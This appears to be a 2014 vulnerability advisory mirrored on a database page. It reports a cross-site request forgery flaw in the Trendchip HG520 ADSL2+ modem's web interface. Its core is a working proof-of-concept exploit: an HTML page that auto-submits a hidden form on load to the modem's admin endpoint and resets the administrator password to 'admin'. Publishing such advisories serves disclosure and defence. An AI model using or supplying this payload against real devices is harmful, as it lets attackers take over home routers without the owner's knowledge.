Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability in Firmware Version:2.11.38.0(RE0.C2B)3.9.9.


                                                ########################################################################

# Exploit Title: Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability
# Google Dork: N/A
# Date: 15/02/2014
# Exploit Author: Dhruv Shah
# Vendor Homepage: N/A
# Software Link : N/A
# Version: Firmware Version:2.11.38.0(RE0.C2B)3.9.9.5
# Tested on: Embedded Allegro RomPager webserver 4.07 UPnP/1.0 (ZyXEL
ZyWALL 2)

# Type of Application : Modem Web Application
# CVE : N/A

########################################################################

Cross Site Request Forgery



This Modem&#39;s Web Application , suffers from Cross-site request forgery
through which attacker can manipulate user data via sending him malicious
craft url.



The Modems&#39;s Application  not using any security token to prevent it
against CSRF. You can manipulate any userdata. PoC and Exploit to change
user password:

 In the POC the IP address in the POST is the modems IP address.

&#60;html&#62;

&#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;

&#60;form method=&#34;POST&#34; action=&#34;http://192.168.2.1/Forms/tools_admin_1&#34;
name=&#34;tool_admin&#34;&#62;

&#60;input name=&#34;uiViewTools_Password&#34; size=&#34;30&#34; maxlength=&#34;30&#34; value=&#34;admin&#34;
type=&#34;PASSWORD&#34;&#62;

&#60;input name=&#34;uiViewTools_PasswordConfirm&#34; size=&#34;30&#34; maxlength=&#34;30&#34;
value=&#34;admin&#34; type=&#34;PASSWORD&#34;&#62;

&#60;/form&#62;

&#60;/body&#62;

&#60;/html&#62;





______________________

*Dhruv Shah* *aka Snypter*
http://security-geek.in/blog/
Blogger | Researcher | Consultant | Writer
Youtube &#60;http://www.youtube.com/snypter&#62; |
Facebook&#60;http://www.facebook.com/dhruvshahs&#62;|
Linkedin &#60;http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0&#62; |
Twitter&#60;https://twitter.com/Snypter&#62;|
Blog &#60;http://security-geek.in/blog/&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1